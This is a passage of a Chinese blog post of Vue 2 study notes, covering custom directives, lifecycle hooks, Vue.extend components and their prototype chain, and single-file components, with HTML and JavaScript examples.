<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2>当前n的值是{{n}}</h2>
        <button @click="n++">点击n+1</button>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
        n:1
   }
})
</script>
</html>

十六、自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	自定义指令总结:
		一、定义语法:
		(1).局部指令:
	 new Vue({					 new Vue({
		directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
	}) 				                 })
		(2).全局指令:
		Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)
                
                二、配置对象中常用的3个回调:
			(1).bind:指令与元素成功绑定时调用。
			(2).inserted:指令所在元素被插入页面时调用。
			(3).update:指令所在模板结构被重新解析时调用。

		三、备注:
                    1.指令定义时不加v-,但使用时要加v-;
                    2.指令名如果是多个单词,要使用kebab-case命名方式,别忘了加"",不要用camelCase命名。
                    3.所有指令相关的this都是window
                    4.采用回调函数写法相当于配置对象写法的bind+update

 十七、生命周期

1.引出生命周期

生命周期:

1.又名:生命周期回调函数、生命周期函数、生命周期钩子。

2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。

3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。

4.生命周期函数中的this指向是vm 或 组件实例对象。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
    <style>
      .atguigu1{
            background-color: yellowgreen;
        }
        .atguigu2{
            font-size: 30px;
            text-shadow:2px 2px 10px red;
        }
        .atguigu3{
            border-radius: 20px;
        }
    </style>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <!-- <h2 v-text="name" :style="{opacity:opacity}"></h2> -->
        <!-- <h2 v-text="name" :style="opacity"></h2> -->
        <!-- <h2 v-text="name" :style="[opacity,opacity2]"></h2> -->
        <!-- <h2 v-text="name" :style="opacityArr"></h2> -->
        <!-- <h2 v-text="name" :class="atguigu1"></h2>  -->
        <!-- <h2 v-text="name" :class="cArr"></h2>  -->
        <!-- <h2 v-text="name" :class="cObj"></h2>  -->
        <h2 v-text="name" :style="{opacity}"></h2>
        <h3>{{time}}</h3>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
        // opacity:{
        //     opacity:1,
        // },
        // opacity2:{
        //     color:'#c00',
        // },
        // opacityArr:[
        //     {
        //         opacity:1,
        //     },
        //     {
        //         color:'#c00',
        //     }
        // ],
        // atguigu1:'atguigu1',
        // cArr:['atguigu1','atguigu2','atguigu3'],
        // cObj:{
        //     atguigu1:true,
        //     atguigu2:false,
        //     atguigu3:true,
        // }
       opacity:1,
       time:'',
   },
   methods:{
   },
   //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
   mounted(){
       console.log('mounted',this);
        setInterval(()=>{
            this.opacity -= 0.01;
            if(this.opacity<=0)this.opacity =1;
        },16)
        setInterval(()=>{
            const day = Date.parse(new Date());
            this.time = dayjs(day).format('YYYY年MM月DD日 HH:mm:ss');
        },1000)
   }
})
//通过外部定时器实现(不推荐)
// setInterval(()=>{
//     vm.opacity -= 0.01;
//     if(vm.opacity<=0)vm.opacity =1;
// },16)
</script>
</html>

2.分析生命周期

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>2.分析生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-text="n">{{n}}</h2>
        <h2>n的值是{{n}}</h2>
        <button @click="addN">点击让n的值加1</button>
        <button @click="die">点击杀死VM</button>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    // template:`
    //     <div>
    //             <h2>{{n}}</h2>
    //             <button @click="addN">点击让n的值加1</button>
    //     </div>
    // `,
    data:{
       n:1,
   },
   methods:{
        addN(){
            console.log('add');
            this.n++;
        },
        die(){
            this.$destroy();//销毁vm(完全销毁一个实例。清理它与其它实例的连接,解绑它的全部指令及事件监听器(自定义事件)。)
            // 调用销毁函数,但之前的工作成果还在,只是以后不能管理了
        }
   },
   watch:{
       n(val){
           console.log('n变了',val);
       }
   },
   //创建数据监测之前
   //初始化:生命周期,事件,但数据代理还未开始
   beforeCreate() {
       console.log('beforeCreate');
       // console.log(this);
        // debugger
        // 此时打开控制台可以看到data中无数据,无methods方法
   },
    //创建数据监测完毕
   //初始化:数据检测、数据代理
   created() {
        console.log('created');
        // console.log(this);
        // debugger
        // 此时打开控制台可以看到data中有数据,有add,die方法
   },
   //挂载之前
   //呈现的是未经Vue编译的DOM结构(所有对DOM的操作,最终都不奏效)
   beforeMount() {
        console.log('beforeMount');
        // console.log(this);
        // debugger
        // 元素都加载完成(未经编译),但还没有挂载上去,HTML的body结构里呈现的依然是模板
        // 在这里面操作DOM白操作,最终会被虚拟dom转换成的真实dom覆盖掉
   },
   //挂载完毕(经过Vue编译的DOM)
   mounted(){
        console.log('mounted');
        // console.log(this);
        // debugger
        // 元素都加载完成(编译完成),已经挂载上去了,HTML的body结构里呈现的你想让他呈现的样子
        // 在这里面操作DOM有效,但不推荐
   },
    //更新之前
   //data更新触发事件(数据是新的,页面是旧的)(页面和数据仍未保持同步)
   beforeUpdate() {
       console.log('beforeUpdate');
       // console.log(this.n);
        // debugger
        // 更新数据时调用,数据为新的,但页面还是旧的,尚未更新
   },
    //更新完毕
   //数据和页面保持同步
   updated() {
        console.log('updated');
        // console.log(this.n);
        // debugger
        // 数据为新的,但页面也是新的,数据与页面保持同步
   },
   //销毁之前(关闭定时器,取消订阅消息,解绑自定义事件)
   beforeDestroy() {
       console.log('beforeDestroy');
       // console.log(this.n);
        // this.add()
        // debugger
        // 点击销毁vm,能打印出n,调用了add方法,但页面不再更新,即到了这个阶段,
        //能够访问到数据,调用方法, 但所有对数据的修改不会再触发更新了。
        // 此时vm中的data methods 指令等都处于可用状态,马上要执行销毁过程,
        // 一般在此阶段:关闭定时器,取消订阅消息,解绑自定义事件等收尾操作
   },
   //销毁完毕
   destroyed() {
        console.log('destroyed');
   },
})
</script>
</html>

3.总结生命周期

常用的生命周期钩子:

1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例

1.销毁后借助Vue开发者工具看不到任何信息。

2.销毁后自定义事件会失效,但原生DOM事件依然有效。

3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
    <style>
      .atguigu1{
            background-color: yellowgreen;
        }
        .atguigu2{
            font-size: 30px;
            text-shadow:2px 2px 10px red;
        }
        .atguigu3{
            border-radius: 20px;
        }
    </style>
</head>
<body>
 	<!-- 
        常用的生命周期钩子:
                1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
                2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

        关于销毁Vue实例
                1.销毁后借助Vue开发者工具看不到任何信息。
                2.销毁后自定义事件会失效,但原生DOM事件依然有效。
                3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
    -->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-text="name" :style="{opacity}"></h2>
        <button @click="set">透明度设置为1</button>
        <button @click="stop">点我停止定时器</button>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
        name:'花非花,雾非雾',
        opacity:1,
   },
   methods:{
       stop(){
            this.$destroy();//vm die
       },
       set(){
           this.opacity = 1;
       }
   },
   //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
   mounted(){
       console.log('mounted',this);
        this.id = setInterval(()=>{
            this.opacity -= 0.01;
            if(this.opacity<=0)this.opacity =1;
        },16)
   },
   //销毁之前(关闭定时器,取消订阅消息,解绑自定义事件)
   beforeDestroy() {
       console.log('vm即将驾鹤西游');
       clearInterval(this.id);
   },
})
</script>
</html>

十八、非单文件组件

2.1.1.模块

  • 理解:向外提供特定功能的js程序,一般就是一个js文件
  • 为什么:js文件很多很复杂
  • 作用:复用js,简化js的编写,提高js运行效率

2.1.2.组件

  1. 理解:用来实现局部(特定)功能效果的代码集合(html/css/js/image…..)
  2. 为什么:一个界面的功能很复杂
  3. 作用:复用编码,简化项目编码,提高运行效率

2.1.3.模块化

当应用中的js都以模块来编写的,那这个应用就是一个模块化的应用。

2.1.4.组件化

当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用。


作者:芒果炒香菜
链接:https://juejin.cn/post/6995857002295476232
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

1.基本使用

Vue中使用组件的三大步骤:

一、定义组件(创建组件)

二、注册组件

三、使用组件(写组件标签)

一、如何定义一个组件?

使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;

区别如下:

1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。

2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。

备注:使用template可以配置组件结构。

二、如何注册组件?

1.局部注册:靠new Vue的时候传入components选项

2.全局注册:靠Vue.component('组件名',组件)

三、编写组件标签:

<school></school>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>1.基本使用</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <hello></hello>
        <hr/>
        <h2>{{msg}}</h2>
        <hr/>
        <school></school>
        <hr/>
        <student></student>
    </div>
    <div id="root2">
        <hello></hello>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
//第一步:创建school组件
const school = Vue.extend({//extend:继承
    // el:'#root',//组件定义时,一定不要写el配置项,因为最终所有组件都被一个vm管理,由vm决定服务于哪个容器。
    template:`
        <div>
            <h2>名称:{{name}}</h2>
            <h2>地址:{{address}}</h2>
            <button @click='dianji'>点击弹出名称</button>
        </div>
    `,
    data(){
        return{
            name:'花非花,雾非雾',
            address:'北京',
        }
   },
    methods: {
        dianji(){
            alert(this.name);
        }
    },
})
//第一步:创建student组件
const student = Vue.extend({
    template:`
        <div>
            <h2>学生名称:{{studentName}}</h2>
            <h2>学生年龄:{{age}}</h2>
        </div>
    `,
    data(){
        return{
            studentName:'纪存希',
            age:30,
        }
    }
})

//第一步:创建hello组件
const hello = Vue.extend({
    template:`
        <div>
            <h2>你好啊!{{name}}</h2>
        </div>
    `,
    data(){
        return{
            name:'JSON',
        }
    }
})

//第二步创建全局组件
Vue.component('hello',hello);

//创建vm
new Vue  ({
    el:'#root',
    data:{
        msg:'hello',
    },
    //第二步:注册组件(局部注册)
    components:{//组件们
       school,
       student
       // 组件名:中转变量,如果组件名和中转变量一致如school:school则可以写为school
    }
})

new Vue({
    el:'#root2',
})

// let data = {
//     a:1,
//     b:2
// }

// const x1 = data
// const x2 = data


// function data(){
//     return {
//         a:1,
//         b:2
//     }
// }
// const x1 = data()
// const x2 = data()

</script>
</html>

2.几个注意点

几个注意点:

1.关于组件名:

一个单词组成:

第一种写法(首字母小写):school

第二种写法(首字母大写):School

多个单词组成:

第一种写法(kebab-case命名):my-school

第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)

备注:

(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

2.关于组件标签:

第一种写法:<school></school>

第二种写法:<school/>

备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

3.一个简写方式:

const school = Vue.extend(options) 可简写为:const school = options

3.组件的嵌套

子组件要在父组件之前定义

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>3.组件的嵌套</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
//定义一个组件
//定义tvmember组件
const tvmember = Vue.extend({
    template:`
        <div>
            <h2>成员:{{name}}</h2>
            <h2>年龄:{{age}}</h2>
        </div>
    `,
    data(){
        return{
            name:'佘诗曼,陈豪',
            age:'18,20'
        }
    }
})

//定义tvplay组件
const tvplay = Vue.extend({
    // name:'tv-ZJH',
    template:`
        <div>
            <h2>电视剧名称:{{name}}</h2>
            <h2>电视剧年份:{{year}}</h2>
            <tvmember></tvmember>
        </div>
    `,
    data(){
        return{
            name:'宫心计',
            year:'2010',
        }
    },
    components:{
        tvmember,
    }
})

//定义hello组件
const hello = Vue.extend({
    template:`
        <div>
            <h2>欢迎观看{{name}}</h2>
        </div>
    `,
    data(){
        return{
            name:'公主嫁到'
        }
    },
})

//定义app组件
const app =Vue.extend({
    template:`
        <div>
            <hello></hello>
            <hr/>
            <tvplay></tvplay>
        </div>
    `,
    components:{
        hello,
        tvplay,
    }
})


const vm = new Vue  ({
    el:'#root',
    template:`
        <app></app>
    `,
    components:{
       app
    }
})
</script>
</html>

 

4.VueComponent

关于VueComponent:

1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,

即Vue帮我们执行的:new VueComponent(options)。

3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

4.关于this指向:

(1).组件配置中:

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。

(2).new Vue(options)配置中:

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。

Vue的实例对象,以后简称vm。

 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <tvplay></tvplay>
        <hello></hello>
    </div>
</body>
<script type="text/javascript">
//定义tvplay组件
const tvplay = Vue.extend({
    template:`
        <div>
            <h2>电视剧名称:{{name}}</h2>
            <h2>电视剧年份:{{year}}</h2>
            <button @click="showme">点我提示学校名</button>
        </div>
    `,
    data(){
        return{
            name:'宫心计',
            year:'2010',
        }
    },
    methods:{
        showme(){
            console.log('showme',this);
        }
    }
})

//定义text组件
const test = Vue.extend({
    template:`
        <div>
            <h2>{{msg}}</h2>
        </div>
    `,
    data(){
        return{
            msg:'你好啊test'
        }
    }
})

//定义hello组件
const hello = Vue.extend({
    template:`
        <div>
            <h2>{{msg}}</h2>
            <test></test>
        </div>
    `,
    data(){
        return{
            msg:'你好啊'
        }
    },
    components:{
        test
    }
})

//创建vm
const vm = new Vue({
    el:'#root',
    components:{
        tvplay,hello
    }
})
</script>
</html>

 因为组件(vc)是可复用的 Vue 实例,所以它们与 new Vue(vm) 接收相同的选项,例如 datacomputedwatchmethods 以及生命周期钩子等。仅有的例外是像 el 这样根实例特有的选项。

5.一个重要的内置关系

 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype

2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

 原型链请看雅昕 ‘’原型与原型链‘’

 Vue构造函数:
Vue构造函数的prototype是Vue的原型对象

vm(Vue构造函数构造的实例对象):
vm对象的原型等于其构造函数的prototype,即是Vue的prototype,即指向Vue的原型对象:vm.__proto__===Vue.prototype

Vue的原型对象的原型:
即Vue.prototype.__proto__等于其构造函数的prototype:Vue.prototype.__proto__===Object.prototype

VueComponent构造函数:
VueComponent构造函数的prototype是VueComponent的原型对象

vc(VueComponent构造函数构造的实例对象):
vc对象的原型等于其构造函数的prototype,即是VueComponent的prototype,即指向VueComponent的原型对象:
this.__proto__ === VueComponent.prototype

最后,强行改变VueComponent原型对象的.__proto__指向,让其指向从Object原型对象到Vue的原型对象
VueComponent.prototype.__proto__ === Vue.prototype

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>5.一个重要的内置关系</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <tvplay></tvplay>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
Vue.prototype.x = 99;
// //定义一个构造函数
// function demo(){
//     this.a = 1;
//     this.b = 2;
// }
// //创建一个Demo的示例对象
// const d = new demo();

// console.log(demo.prototype);//显示原型属性
// console.log(d.__proto__);//隐式原型

// //程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
// demo.prototype.x = 99;
// console.log(d.x);
// console.log(d);

//定义tvplay组件
//组件实例对象
const tvplay = Vue.extend({
    template:`
        <div>
            <h2>电视剧名称:{{name}}</h2>
            <h2>电视剧年份:{{year}}</h2>
            <button @click="showme">点我提示学校名</button>
        </div>
    `,
    data(){
        return{
            name:'宫心计',
            year:'2010',
        }
    },
    methods:{
        showme(){
            console.log('showme',this.x);
        }
    }
})

const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾'
   },
   components:{
       tvplay
   }
})
</script>
</html>

十九、单文件组件

 <v 加enter能够快速生成模板

 School.vue文件

<template>
<!-- 组件的结构 -->
    <div class="demo"> 
        <h2>电视剧名称:{{name}}</h2>
        <h2>电视剧年份:{{year}}</h2>
        <button @click="showme">点我提示学校名</button>
    </div>
</template>
<script>
//组件交互相关的代码(数据方法等等)
//Es6暴露???
export default {
    name:'School',
    data(){
        return{
            name:'宫心计',
            year:'2010',
        }
    },
    methods:{
        showme(){
            console.log('showme',this.x);
        }
    }
}
</script>
<style>
/* 组件的样式 */
.demo{
    background-color: #cc0000;
}
</style>

Student.vue文件

<template>
<!-- 组件的结构 -->
     <div>
        <h2>成员:{{name}}</h2>
        <h2>年龄:{{age}}</h2>
    </div>
</template>
<script>
//组件交互相关的代码(数据方法等等)
export default {
    name:'Student',
    data(){
        return{
            name:'佘诗曼,陈豪',
            age:'18,20'
        }
    }
}
</script>

App.vue文件

<template>
  <div>
      <School></School>
      <Student></Student>
  </div>
</template>

<script>
    //引入组件
    //Es6模块化引入
    import School from './School.vue';
    import Student from './Student.vue';
    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

main.js文件

import App from './App.vue';

new Vue({
    el:'#root',
    template:`
        <App></App>
    `,
    components:{App},
})

index.html文件,准备一个容器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>联系一下单文件组件的语法</title>
</head>
<body>
    <!-- 准备一个容器 -->
    <div id="root">
    </div>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="./main.js"></script>
</body>
</html>

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值